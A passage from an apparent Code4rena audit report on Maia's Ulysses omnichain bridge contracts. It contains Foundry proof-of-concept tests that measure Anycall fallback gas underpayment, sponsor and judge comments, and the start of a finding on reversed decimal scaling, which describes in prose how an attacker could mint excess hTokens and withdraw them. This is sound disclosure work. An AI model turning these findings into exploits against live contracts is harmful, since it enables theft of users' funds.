    function manage(address _token, uint256 _amount) external;

    /**
     * @notice allow approved address to repay borrowed reserves with reserves
     -   @param _amount uint
     -   @param _token address
     */
    function replenishReserves(
        address _strategy,
        address _token,
        uint256 _amount
    ) external;

    /*///////////////////////////////////////////////////////////////
                          hTOKEN MANAGEMENT
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice Function to withdraw underlying / native token amount into Port in exchange for Local hToken.
     - @param _recipient hToken receiver.
     - @param _underlyingAddress underlying / native token address.
     - @param _amount amount of tokens.
     *
     */
    function withdraw(
        address _recipient,
        address _underlyingAddress,
        uint256 _amount
    ) external;

    /**
     * @notice Setter function to increase local hToken supply.
     - @param _recipient hToken receiver.
     - @param _localAddress token address.
     - @param _amount amount of tokens.
     *
     */
    function bridgeIn(
        address _recipient,
        address _localAddress,
        uint256 _amount
    ) external;

    /**
     * @notice Setter function to increase local hToken supply.
     - @param _recipient hToken receiver.
     - @param _localAddresses token addresses.
     - @param _amounts amount of tokens.
     *
     */
    function bridgeInMultiple(
        address _recipient,
        address[] memory _localAddresses,
        uint256[] memory _amounts
    ) external;

    /**
     * @notice Setter function to decrease local hToken supply.
     - @param _localAddress token address.
     - @param _amount amount of tokens.
     *
     */
    function bridgeOut(
        address _depositor,
        address _localAddress,
        address _underlyingAddress,
        uint256 _amount,
        uint256 _deposit
    ) external;

    /**
     * @notice Setter function to decrease local hToken supply.
     - @param _depositor user to deduct balance from.
     - @param _localAddresses local token addresses.
     - @param _underlyingAddresses local token address.
     - @param _amounts amount of local tokens.
     - @param _deposits amount of underlying tokens.
     *
     */
    function bridgeOutMultiple(
        address _depositor,
        address[] memory _localAddresses,
        address[] memory _underlyingAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits
    ) external;

    /*///////////////////////////////////////////////////////////////
                        ADMIN FUNCTIONS
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice Adds a new bridge agent address to the branch port.
     - @param _bridgeAgent address of the bridge agent to add to the Port
     */
    function addBridgeAgent(address _bridgeAgent) external;

    /**
     * @notice Sets the core router address for the branch port.
     - @param _newCoreRouter address of the new core router
     */
    function setCoreRouter(address _newCoreRouter) external;

    /**
     * @notice Adds a new bridge agent factory address to the branch port.
     - @param _bridgeAgentFactory address of the bridge agent factory to add to the Port
     */
    function addBridgeAgentFactory(address _bridgeAgentFactory) external;

    /**
     * @notice Reverts the toggle on the given bridge agent factory. If it's active, it will de-activate it and vice-versa.
     - @param _newBridgeAgentFactory address of the bridge agent factory to add to the Port
     */
    function toggleBridgeAgentFactory(address _newBridgeAgentFactory) external;

    /**
     * @notice Reverts thfe toggle on the given bridge agent  If it's active, it will de-activate it and vice-versa.
     - @param _bridgeAgent address of the bridge agent to add to the Port
     */
    function toggleBridgeAgent(address _bridgeAgent) external;

    /**
     * @notice Adds a new strategy token.
     * @param _token address of the token to add to the Strategy Tokens
     */
    function addStrategyToken(
        address _token,
        uint256 _minimumReservesRatio
    ) external;

    /**
     * @notice Reverts the toggle on the given strategy token. If it's active, it will de-activate it and vice-versa.
     * @param _token address of the token to add to the Strategy Tokens
     */
    function toggleStrategyToken(address _token) external;

    /**
     * @notice Adds a new Port strategy to the given port
     * @param _portStrategy address of the bridge agent factory to add to the Port
     */
    function addPortStrategy(
        address _portStrategy,
        address _token,
        uint256 _dailyManagementLimit
    ) external;

    /**
     * @notice Reverts the toggle on the given port strategy. If it's active, it will de-activate it and vice-versa.
     * @param _portStrategy address of the bridge agent factory to add to the Port
     */
    function togglePortStrategy(address _portStrategy, address _token) external;

    /**
     * @notice Updates the daily management limit for the given port strategy.
     * @param _portStrategy address of the bridge agent factory to add to the Port
     * @param _token address of the token to update the limit for
     * @param _dailyManagementLimit new daily management limit
     */
    function updatePortStrategy(
        address _portStrategy,
        address _token,
        uint256 _dailyManagementLimit
    ) external;

    /*///////////////////////////////////////////////////////////////
                            EVENTS
    //////////////////////////////////////////////////////////////*/

    event DebtCreated(
        address indexed _strategy,
        address indexed _token,
        uint256 _amount
    );
    event DebtRepaid(
        address indexed _strategy,
        address indexed _token,
        uint256 _amount
    );

    event StrategyTokenAdded(
        address indexed _token,
        uint256 _minimumReservesRatio
    );
    event StrategyTokenToggled(address indexed _token);

    event PortStrategyAdded(
        address indexed _portStrategy,
        address indexed _token,
        uint256 _dailyManagementLimit
    );
    event PortStrategyToggled(
        address indexed _portStrategy,
        address indexed _token
    );
    event PortStrategyUpdated(
        address indexed _portStrategy,
        address indexed _token,
        uint256 _dailyManagementLimit
    );

    event BridgeAgentFactoryAdded(address indexed _bridgeAgentFactory);
    event BridgeAgentFactoryToggled(address indexed _bridgeAgentFactory);

    event BridgeAgentToggled(address indexed _bridgeAgent);

    /*///////////////////////////////////////////////////////////////
                            ERRORS
    //////////////////////////////////////////////////////////////*/

    error InvalidMinimumReservesRatio();
    error InsufficientReserves();
    error UnrecognizedCore();
    error UnrecognizedBridgeAgent();
    error UnrecognizedBridgeAgentFactory();
    error UnrecognizedPortStrategy();
    error UnrecognizedStrategyToken();
}

contract BranchPort {
    using SafeTransferLib for address;

    error UnrecognizedBridgeAgent();

    /// @notice Mapping from Underlying Address to isUnderlying (bool).
    mapping(address => bool) public isBridgeAgent;

    constructor(address bridgeAgent) {
        isBridgeAgent[bridgeAgent] = true;
    }

    /// @notice Modifier that verifies msg sender is an active Bridge Agent.
    modifier requiresBridgeAgent() {
        if (!isBridgeAgent[msg.sender]) revert UnrecognizedBridgeAgent();
        _;
    }

    function withdraw(
        address _recipient,
        address _underlyingAddress,
        uint256 _deposit
    ) external virtual requiresBridgeAgent {
        _underlyingAddress.safeTransfer(
            _recipient,
            _denormalizeDecimals(_deposit, ERC20(_underlyingAddress).decimals())
        );
    }

    function _denormalizeDecimals(
        uint256 _amount,
        uint8 _decimals
    ) internal pure returns (uint256) {
        return
            _decimals == 18 ? _amount : (_amount * 1 ether) / (10 ** _decimals);
    }
}

contract BranchBridgeAgent {
    using SafeCastLib for uint256;

    enum DepositStatus {
        Success,
        Failed
    }

    struct Deposit {
        uint128 depositedGas;
        address owner;
        DepositStatus status;
        address[] hTokens;
        address[] tokens;
        uint256[] amounts;
        uint256[] deposits;
    }

    error AnycallUnauthorizedCaller();
    error GasErrorOrRepeatedTx();

    uint256 public remoteCallDepositedGas;

    uint256 internal constant MIN_FALLBACK_RESERVE = 185_000; // 100_000 for anycall + 85_000 fallback execution overhead
    // uint256 internal constant MIN_EXECUTION_OVERHEAD = 160_000; // 100_000 for anycall + 35_000 Pre 1st Gas Checkpoint Execution + 25_000 Post last Gas Checkpoint Executions
    uint256 internal constant TRANSFER_OVERHEAD = 24_000;

    WETH9 public immutable wrappedNativeToken;

    AnycallV7Config public anycallV7Config;

    uint256 public accumulatedFees;

    /// @notice Local Chain Id
    uint24 public immutable localChainId;

    /// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
    address public immutable rootBridgeAgentAddress;
    /// @notice Local Anyexec Address
    address public immutable local`AnyCall`ExecutorAddress;

    /// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
    address public immutable local`AnyCall`Address;

    /// @notice Address for Local Port Address where funds deposited from this chain are kept, managed and supplied to different Port Strategies.
    address public immutable localPortAddress;

    /// @notice Deposit nonce used for identifying transaction.
    uint32 public depositNonce;

    /// @notice Mapping from Pending deposits hash to Deposit Struct.
    mapping(uint32 => Deposit) public getDeposit;

    constructor() {
        AnycallExecutor anycallExecutor = new AnycallExecutor();
        local`AnyCall`ExecutorAddress = address(anycallExecutor);

        localChainId = 1;

        wrappedNativeToken = new WETH9();

        local`AnyCall`Address = address(3);

        rootBridgeAgentAddress = address(2);

        anycallV7Config = new AnycallV7Config();

        localPortAddress = address(new BranchPort(address(this)));

        getDeposit[1].depositedGas = 1 ether; // just for testing below
    }

    modifier requiresExecutor() {
        _requiresExecutor();
        _;
    }

    function _requiresExecutor() internal view {
        if (msg.sender != local`AnyCall`ExecutorAddress)
            revert AnycallUnauthorizedCaller();
        (address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
            .context();
        if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
    }

    function _replenishGas(uint256 _executionGasSpent) internal virtual {
        //Deposit Gas
        anycallV7Config.deposit{value: _executionGasSpent}(address(this));
        // IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
    }

    function _forceRevert() internal virtual {
        IAnycallConfig anycallConfig = IAnycallConfig(
            IAnycallProxy(local`AnyCall`Address).config()
        );
        uint256 executionBudget = anycallConfig.executionBudget(address(this));

        // Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
        if (executionBudget > 0)
            try anycallConfig.withdraw(executionBudget) {} catch {}
    }

    /**
     * @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
     - @param _depositNonce Identifier for user deposit attatched to interaction being fallback.
     - @param _initialGas gas used by Branch Bridge Agent.
     */
    function _payFallbackGas(
        uint32 _depositNonce,
        uint256 _initialGas
    ) internal virtual {
        //Save gas
        uint256 gasLeft = gasleft();

        //Get Branch Environment Execution Cost
        // 1e9 for tx.gasPrice since it is zero in Foundry
        uint256 minExecCost = 1e9 *
            (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);

        //Check if sufficient balance
        if (minExecCost > getDeposit[_depositNonce].depositedGas) {
            // getDeposit[1].depositedGas => 1 ether . set in the constructer above
            _forceRevert();
            return;
        }

        //Update user deposit reverts if not enough gas => user must boost deposit with gas
        getDeposit[_depositNonce].depositedGas -= minExecCost.toUint128();

        //Withdraw Gas
        IPort(localPortAddress).withdraw(
            address(this),
            address(wrappedNativeToken),
            minExecCost
        );

        //Unwrap Gas
        wrappedNativeToken.withdraw(minExecCost);

        //Replenish Gas
        _replenishGas(minExecCost);
    }

    function anyFallback(
        bytes calldata data
    )
        external
        virtual
        requiresExecutor
        returns (bool success, bytes memory result)
    {
        //Get Initial Gas Checkpoint
        uint256 initialGas = gasleft();

        /*
         *
         * Other code here
         *
         */

        // we assume that the flag was 0x01 for simplicity and since it is also irrelevant anyway
        // passing deposit nonce as 1 since it is also irrelevant
        //Deduct gas costs from deposit and replenish this bridge agent's execution budget.
        _payFallbackGas(1, initialGas);

        return (true, "");
    }

    function depositIntoWeth(uint256 amt) external {
        wrappedNativeToken.deposit{value: amt * 2}();
        // transfer half to the port
        wrappedNativeToken.transfer(localPortAddress, amt);
    }

    fallback() external payable {}
}

contract BranchBridgeAgentEmpty {
    using SafeCastLib for uint256;

    enum DepositStatus {
        Success,
        Failed
    }

    struct Deposit {
        uint128 depositedGas;
        address owner;
        DepositStatus status;
        address[] hTokens;
        address[] tokens;
        uint256[] amounts;
        uint256[] deposits;
    }

    error AnycallUnauthorizedCaller();
    error GasErrorOrRepeatedTx();

    uint256 public remoteCallDepositedGas;

    uint256 internal constant MIN_FALLBACK_RESERVE = 185_000; // 100_000 for anycall + 85_000 fallback execution overhead

    WETH9 public immutable wrappedNativeToken;

    AnycallV7Config public anycallV7Config;

    uint256 public accumulatedFees;

    /// @notice Local Chain Id
    uint24 public immutable localChainId;

    /// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
    address public immutable rootBridgeAgentAddress;
    /// @notice Local Anyexec Address
    address public immutable local`AnyCall`ExecutorAddress;

    /// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
    address public immutable local`AnyCall`Address;

    /// @notice Address for Local Port Address where funds deposited from this chain are kept, managed and supplied to different Port Strategies.
    address public immutable localPortAddress;

    /// @notice Deposit nonce used for identifying transaction.
    uint32 public depositNonce;

    /// @notice Mapping from Pending deposits hash to Deposit Struct.
    mapping(uint32 => Deposit) public getDeposit;

    constructor() {
        AnycallExecutor anycallExecutor = new AnycallExecutor();
        local`AnyCall`ExecutorAddress = address(anycallExecutor);

        localChainId = 1;

        wrappedNativeToken = new WETH9();

        local`AnyCall`Address = address(3);

        rootBridgeAgentAddress = address(2);

        anycallV7Config = new AnycallV7Config();

        localPortAddress = address(new BranchPort(address(this)));

        getDeposit[1].depositedGas = 1 ether; // just for testing below
    }

    modifier requiresExecutor() {
        _requiresExecutor();
        _;
    }

    function _requiresExecutor() internal view {
        if (msg.sender != local`AnyCall`ExecutorAddress)
            revert AnycallUnauthorizedCaller();
        (address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
            .context();
        if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
    }

    function _replenishGas(uint256 _executionGasSpent) internal virtual {
        //Deposit Gas
        anycallV7Config.deposit{value: _executionGasSpent}(address(this));
        // IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
    }

    function _forceRevert() internal virtual {
        IAnycallConfig anycallConfig = IAnycallConfig(
            IAnycallProxy(local`AnyCall`Address).config()
        );
        uint256 executionBudget = anycallConfig.executionBudget(address(this));

        // Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
        if (executionBudget > 0)
            try anycallConfig.withdraw(executionBudget) {} catch {}
    }

    /**
     * @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
     - @param _depositNonce Identifier for user deposit attatched to interaction being fallback.
     - @param _initialGas gas used by Branch Bridge Agent.
     */
    function _payFallbackGas(
        uint32 _depositNonce,
        uint256 _initialGas
    ) internal virtual {
        //Save gas
        uint256 gasLeft = gasleft();

        // comment out all the lines after end gas checkpoint for gas calc purpose

        // //Get Branch Environment Execution Cost
        // // 1e9 for tx.gasPrice since it is zero in Foundry
        // uint256 minExecCost = 1e9 * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);

        // //Check if sufficient balance
        // if (minExecCost > getDeposit[_depositNonce].depositedGas) { // getDeposit[1].depositedGas => 1 ether . set in the constructer above
        //     _forceRevert();
        //     return;
        // }

        // //Update user deposit reverts if not enough gas => user must boost deposit with gas
        // getDeposit[_depositNonce].depositedGas -= minExecCost.toUint128();

        // //Withdraw Gas
        // IPort(localPortAddress).withdraw(address(this), address(wrappedNativeToken), minExecCost);

        // //Unwrap Gas
        // wrappedNativeToken.withdraw(minExecCost);

        // //Replenish Gas
        // _replenishGas(minExecCost);
    }

    function anyFallback(
        bytes calldata data
    )
        external
        virtual
        returns (
            // requiresExecutor comment out this for gas calc purpose
            bool success,
            bytes memory result
        )
    {
        //Get Initial Gas Checkpoint
        uint256 initialGas = gasleft();

        /*
         *
         * Other code here
         *
         */

        // we assume that the flag was 0x01 for simplicity and since it is also irrelevant anyway
        // passing deposit nonce as 1 since it is also irrelevant
        //Deduct gas costs from deposit and replenish this bridge agent's execution budget.
        _payFallbackGas(1, initialGas);

        // return (true, ""); // comment out this also for gas calc purpose
    }

    function depositIntoWeth(uint256 amt) external {
        wrappedNativeToken.deposit{value: amt * 2}();
        // transfer half to the port
        wrappedNativeToken.transfer(localPortAddress, amt);
    }

    fallback() external payable {}
}

contract GasCalc is DSTest, Test {
    BranchBridgeAgent branchBridgeAgent;
    BranchBridgeAgentEmpty branchBridgeAgentEmpty;

    function setUp() public {
        branchBridgeAgentEmpty = new BranchBridgeAgentEmpty();
        vm.deal(
            address(branchBridgeAgentEmpty.local`AnyCall`ExecutorAddress()),
            100 ether
        ); // executer pays gas
        vm.deal(address(branchBridgeAgentEmpty), 200 ether);

        branchBridgeAgent = new BranchBridgeAgent();
        vm.deal(
            address(branchBridgeAgent.local`AnyCall`ExecutorAddress()),
            100 ether
        ); // executer pays gas
        vm.deal(address(branchBridgeAgent), 200 ether);
    }

    // code after end checkpoint gasLeft not included
    function test_calcgasEmpty() public {
        // add weth balance to the agent and the port // 100 WETH for each
        branchBridgeAgentEmpty.depositIntoWeth(100 ether);

        vm.prank(address(branchBridgeAgentEmpty.local`AnyCall`ExecutorAddress()));
        uint256 gasStart = gasleft();
        branchBridgeAgentEmpty.anyFallback(bytes(""));
        uint256 gasEnd = gasleft();
        vm.stopPrank();
        uint256 gasSpent = gasStart - gasEnd;
        console.log(
            "branchBridgeAgentEmpty.anyFallback Gas Spent => %d",
            gasSpent
        );
    }

    // code after end checkpoint gasLeft included
    function test_calcgas() public {
        // add weth balance to the agent and the port // 100 WETH for each
        branchBridgeAgent.depositIntoWeth(100 ether);

        vm.prank(address(branchBridgeAgent.local`AnyCall`ExecutorAddress()));
        uint256 gasStart = gasleft();
        branchBridgeAgent.anyFallback(bytes(""));
        uint256 gasEnd = gasleft();
        vm.stopPrank();
        uint256 gasSpent = gasStart - gasEnd;
        console.log("branchBridgeAgent.anyFallback Gas Spent => %d", gasSpent);
    }
}

Proof of Concept #2 (The gas consumed by anyExec method in AnyCall)

Overview

We have contracts that simulate the Anycall contracts:

  1. AnycallV7Config
  2. AnycallExecutor
  3. AnycallV7

The flow looks like this: MPC => AnycallV7 => AnycallExecutor => IApp

In the code, IApp(_to).anyFallback is commented out because we don’t want to calculate its gas, since it is done in PoC #1. We also set isFallback to true, but the increased gas for this is negligible anyway.

Here is the output of the test:

[PASS] test_gasInanycallv7() (gas: 102640)
Logs:
  anycallV7.anyExec Gas Spent => 110920

Test result: ok. 1 passed; 0 failed; finished in 1.58ms

Coded PoC

// PoC => Maia OmniChain: gasCalculation for anyFallback in `AnyCall` v7  contracts
pragma solidity >=0.8.4 <0.9.0;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";

/// IAnycallConfig interface of the anycall config
interface IAnycallConfig {
    function checkCall(
        address _sender,
        bytes calldata _data,
        uint256 _toChainID,
        uint256 _flags
    ) external view returns (string memory _appID, uint256 _srcFees);

    function checkExec(
        string calldata _appID,
        address _from,
        address _to
    ) external view;

    function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft) external;
}

/// IAnycallExecutor interface of the anycall executor
interface IAnycallExecutor {
    function context()
        external
        view
        returns (address from, uint256 fromChainID, uint256 nonce);

    function execute(
        address _to,
        bytes calldata _data,
        address _from,
        uint256 _fromChainID,
        uint256 _nonce,
        uint256 _flags,
        bytes calldata _extdata
    ) external returns (bool success, bytes memory result);
}

/// IApp interface of the application
interface IApp {
    /// (required) call on the destination chain to exec the interaction
    function anyExecute(bytes calldata _data)
        external
        returns (bool success, bytes memory result);

    /// (optional,advised) call back on the originating chain if the cross chain interaction fails
    /// `_data` is the orignal interaction arguments exec on the destination chain
    function anyFallback(bytes calldata _data)
        external
        returns (bool success, bytes memory result);
}

library AnycallFlags {
    // call flags which can be specified by user
    uint256 public constant FLAG_NONE = 0x0;
    uint256 public constant FLAG_MERGE_CONFIG_FLAGS = 0x1;
    uint256 public constant FLAG_PAY_FEE_ON_DEST = 0x1 << 1;
    uint256 public constant FLAG_ALLOW_FALLBACK = 0x1 << 2;

    // exec flags used internally
    uint256 public constant FLAG_EXEC_START_VALUE = 0x1 << 16;
    uint256 public constant FLAG_EXEC_FALLBACK = 0x1 << 16;
}

contract AnycallV7Config {
    uint256 public constant PERMISSIONLESS_MODE = 0x1;
    uint256 public constant FREE_MODE = 0x1 << 1;

    mapping(string => mapping(address => bool)) public appExecWhitelist;
    mapping(string => bool) public appBlacklist;

    uint256 public mode;

    uint256 public minReserveBudget;

    mapping(address => uint256) public executionBudget;

    constructor() {
         mode = PERMISSIONLESS_MODE;
    }

    function checkExec(
        string calldata _appID,
        address _from,
        address _to
    ) external view {
        require(!appBlacklist[_appID], "blacklist");

        if (!_isSet(mode, PERMISSIONLESS_MODE)) {
            require(appExecWhitelist[_appID][_to], "no permission");
        }

        if (!_isSet(mode, FREE_MODE)) {
            require(
                executionBudget[_from] >= minReserveBudget,
                "less than min budget"
            );
        }
    }

    function _isSet(
        uint256 _value,
        uint256 _testBits
    ) internal pure returns (bool) {
        return (_value & _testBits) == _testBits;
    }
}

contract AnycallExecutor {
    bytes32 public constant PAUSE_ALL_ROLE = 0x00;

    event Paused(bytes32 role);
    event Unpaused(bytes32 role);

    modifier whenNotPaused(bytes32 role) {
        require(
            !paused(role) && !paused(PAUSE_ALL_ROLE),
            "PausableControl: paused"
        );
        _;
    }
    mapping(bytes32 => bool) private _pausedRoles;
    mapping(address => bool) public isSupportedCaller;


    struct Context {
        address from;
        uint256 fromChainID;
        uint256 nonce;
    }
    // Context public override context;
    Context public context;

    function paused(bytes32 role) public view virtual returns (bool) {
        return _pausedRoles[role];
    }

    modifier onlyAuth() {
        require(isSupportedCaller[msg.sender], "not supported caller");
        _;
    }

    constructor(address anycall) {
        context.fromChainID = 1;
        context.from = address(2);
        context.nonce = 1;

        isSupportedCaller[anycall] = true;
    }

function _isSet(uint256 _value, uint256 _testBits)
        internal
        pure
        returns (bool)
    {
        return (_value & _testBits) == _testBits;
    }

    // @dev `_extdata` content is implementation based in each version
    function execute(
        address _to,
        bytes calldata _data,
        address _from,
        uint256 _fromChainID,
        uint256 _nonce,
        uint256 _flags,
        bytes calldata /*_extdata*/
    )
        external
        virtual
        onlyAuth
        whenNotPaused(PAUSE_ALL_ROLE)
        returns (bool success, bytes memory result)
    {
        bool isFallback = _isSet(_flags, AnycallFlags.FLAG_EXEC_FALLBACK) || true; // let it fallback

        context = Context({
            from: _from,
            fromChainID: _fromChainID,
            nonce: _nonce
        });

        if (!isFallback) { 
            // we skip calling anyExecute since it is irrelevant for this PoC
            (success, result) = IApp(_to).anyExecute(_data);
        } else {
             // we skip calling anyExecute since it is irrelevant for this PoC
            // (success, result) = IApp(_to).anyFallback(_data);
        }

        context = Context({from: address(0), fromChainID: 0, nonce: 0});
    }
}

contract AnycallV7 {

    event Log`AnyCall`(
        address indexed from,
        address to,
        bytes data,
        uint256 toChainID,
        uint256 flags,
        string appID,
        uint256 nonce,
        bytes extdata
    );
    event Log`AnyCall`(
        address indexed from,
        string to,
        bytes data,
        uint256 toChainID,
        uint256 flags,
        string appID,
        uint256 nonce,
        bytes extdata
    );

    event LogAnyExec(
        bytes32 indexed txhash,
        address indexed from,
        address indexed to,
        uint256 fromChainID,
        uint256 nonce,
        bool success,
        bytes result
    );


    event StoreRetryExecRecord(
        bytes32 indexed txhash,
        address indexed from,
        address indexed to,
        uint256 fromChainID,
        uint256 nonce,
        bytes data
    );

    // Context of the request on originating chain
    struct RequestContext {
        bytes32 txhash;
        address from;
        uint256 fromChainID;
        uint256 nonce;
        uint256 flags;
    }
    address public mpc;

    bool public paused;

    // applications should give permission to this executor
    address public executor;

    // anycall config contract
    address public config;

    mapping(bytes32 => bytes32) public retryExecRecords;
    bool public retryWithPermit;

    mapping(bytes32 => bool) public execCompleted;
    uint256 nonce;

    uint256 private unlocked;

    modifier lock() {
        require(unlocked == 1, "locked");
        unlocked = 0;
        _;
        unlocked = 1;
    }
    /// @dev Access control function
    modifier onlyMPC() {
        require(msg.sender == mpc, "only MPC");
        _;
    }

    /// @dev pausable control function
    modifier whenNotPaused() {
        require(!paused, "paused");
        _;
    }

    function _isSet(uint256 _value, uint256 _testBits)
        internal
        pure
        returns (bool)
    {
        return (_value & _testBits) == _testBits;
    }


    /// @dev Charge an account for execution costs on this chain
    /// @param _from The account to charge for execution costs
    modifier chargeDestFee(address _from, uint256 _flags) {
        if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) {
            uint256 _prevGasLeft = gasleft();
            _;
            IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft);
        } else {
            _;
        }
    }

    constructor(address _mpc) {
        unlocked = 1; // needs to be unlocked initially
        mpc = _mpc;
        config = address(new AnycallV7Config());
        executor = address(new AnycallExecutor(address(this)));
    }

    /// @notice Calc unique ID
    function calcUniqID(
        bytes32 _txhash,
        address _from,
        uint256 _fromChainID,
        uint256 _nonce
    ) public pure returns (bytes32) {
        return keccak256(abi.encode(_txhash, _from, _fromChainID, _nonce));
    }

    function _execute(
        address _to,
        bytes memory _data,
        RequestContext memory _ctx,
        bytes memory _extdata
    ) internal returns (bool success) {
        bytes memory result;

        try
            IAnycallExecutor(executor).execute(
                _to,
                _data,
                _ctx.from,
                _ctx.fromChainID,
                _ctx.nonce,
                _ctx.flags,
                _extdata
            )
        returns (bool succ, bytes memory res) {
            (success, result) = (succ, res);
        } catch Error(string memory reason) {
            result = bytes(reason);
        } catch (bytes memory reason) {
            result = reason;
        }

        emit LogAnyExec(
            _ctx.txhash,
            _ctx.from,
            _to,
            _ctx.fromChainID,
            _ctx.nonce,
            success,
            result
        );
    }

    /**
        @notice Execute a cross chain interaction
        @dev Only callable by the MPC
        @param _to The cross chain interaction target
        @param _data The calldata supplied for interacting with target
        @param _appID The app identifier to check whitelist
        @param _ctx The context of the request on originating chain
        @param _extdata The extension data for execute context
    */
   // Note: changed from callback to memory so we can call it from the test contract
    function anyExec(
        address _to,
        bytes memory _data,
        string memory _appID,
        RequestContext memory _ctx, 
        bytes memory _extdata
    )
        external
        virtual
        lock
        whenNotPaused
        chargeDestFee(_to, _ctx.flags)
        onlyMPC
    {
        IAnycallConfig(config).checkExec(_appID, _ctx.from, _to);
        bytes32 uniqID = calcUniqID(
            _ctx.txhash,
            _ctx.from,
            _ctx.fromChainID,
            _ctx.nonce
        );
        require(!execCompleted[uniqID], "exec completed");

        bool success = _execute(_to, _data, _ctx, _extdata);
        // success = false on purpose, because when it is true, it consumes less gas. so we are considering worse case here

        // set exec completed (dont care success status)
        execCompleted[uniqID] = true;

        if (!success) {
            if (_isSet(_ctx.flags, AnycallFlags.FLAG_ALLOW_FALLBACK)) { 
                // this will be executed here since the call failed
                // Call the fallback on the originating chain
                nonce++;
                string memory appID = _appID; // fix Stack too deep
                emit Log`AnyCall`(
                    _to,
                    _ctx.from,
                    _data,
                    _ctx.fromChainID,
                    AnycallFlags.FLAG_EXEC_FALLBACK |
                        AnycallFlags.FLAG_PAY_FEE_ON_DEST, // pay fee on dest chain
                    appID,
                    nonce,
                    ""
                );
            } else {
                // Store retry record and emit a log
                bytes memory data = _data; // fix Stack too deep
                retryExecRecords[uniqID] = keccak256(abi.encode(_to, data));
                emit StoreRetryExecRecord(
                    _ctx.txhash,
                    _ctx.from,
                    _to,
                    _ctx.fromChainID,
                    _ctx.nonce,
                    data
                );
            }
        }
    }
}

contract GasCalc`AnyCall`v7 is DSTest, Test {


    AnycallV7 anycallV7;
    address mpc = vm.addr(7);
    function setUp() public {
        anycallV7 = new AnycallV7(mpc);
    }

    function test_gasInanycallv7() public {

        vm.prank(mpc);
        AnycallV7.RequestContext memory ctx = AnycallV7.RequestContext({
            txhash:keccak256(""),
            from:address(0),
            fromChainID:1,
            nonce:1,
            flags:AnycallFlags.FLAG_ALLOW_FALLBACK
        });
        uint256 gasStart_ = gasleft();
        anycallV7.anyExec(address(0),bytes(""),"1",ctx,bytes(""));
        uint256 gasEnd_ = gasleft();
        vm.stopPrank();
        uint256 gasSpent_ = gasStart_ - gasEnd_;
        console.log("anycallV7.anyExec Gas Spent => %d", gasSpent_);
    }
}

Increase the MIN_FALLBACK_RESERVE by 115_000 to consider the anyExec method in AnyCall. So MIN_FALLBACK_RESERVE becomes 300_000 instead of 185_000.

Additionally, calculate the gas consumption of the input data passed and add it to the cost. This should be done when the call was made in the first place.

Note: I suggest that the MIN_FALLBACK_RESERVE should be configurable/changeable. After launching OmniChain for some time, collect stats about the actual gas used for AnyCall on the chain then adjust it accordingly. This also keeps you on the safe side in case any changes are applied on AnyCall contracts in the future, since it is upgradeable.

0xBugsy (Maia) disagreed with severity and commented:

We should add premium() uint256 to match their gas cost calculation totalCost = gasUsed * (tx.gasprice + _feeData.premium) and abide by it since these are the calculations under which we will be charged in the execution budget.

Trust (judge) commented:

Unless there is additional reasoning to why the impact is reduced, High seems appropriate.

0xBugsy (Maia) confirmed and commented:

We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.


[H-05] Multiple issues with decimal scaling will cause incorrect accounting of hTokens and underlying tokens

Submitted by peakbolt, also found by BPZ (1, 2, 3), RED-LOTUS-REACH, 0xTheC0der, ltyu (1, 2, 3, 4, 5), bin2chen (1, 2), kodyvim (1, 2), 0xStalin (1, 2), LokiThe5th, ubermensch, adeolu, jasonxiale, and kutugu

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L313 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L696 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L745

Vulnerability details

Functions _normalizeDecimals() and _denormalizeDecimals() are used to handle non-18 decimal tokens when bridging a deposit by scaling them to a normalized 18 decimal form for hToken accounting, and then de-normalizing them to the token’s decimals when interacting with the underlying token.

However, there are 3 issues as follows:

  1. Implementations of _normalizeDecimals() and _denormalizeDecimals() are reversed.
  2. The function _denormalizeDecimals() is missing in ArbitrumBranchPort.depositToPort().
  3. The function _normalizeDecimals() is missing in functions within BranchBridgeAgent.

These issues will cause an incorrect accounting of hTokens and underlying tokens in the system.

Impact

An incorrect decimal scaling will lead to a loss of funds, as the amount deposited and withdrawn for bridging will be inaccurate. This can be abused by an attacker or result in users incurring losses.

For example, an attacker can abuse the ArbitrumBranchPort.depositToPort() issue and steal from the system by first depositing a token that has more than 18 decimals. The attacker will receive more hTokens than the deposited underlying token amount. The attacker can then make a profit by withdrawing from the port with the excess hTokens.

On the other hand, if the underlying token is less than 18 decimals, the depositor can incur losses, as the amount of underlying tokens deposited will be more than the amount of hTokens received.

Issue #1

The functions BranchBridgeAgent._normalizeDecimals() and BranchPort._denormalizeDecimals() (shown below) are incorrect, as they are implemented in a reversed manner; such that _denormalizeDecimals() is normalizing to 18 decimals while _normalizeDecimals() is de-normalizing to the underlying token decimals.

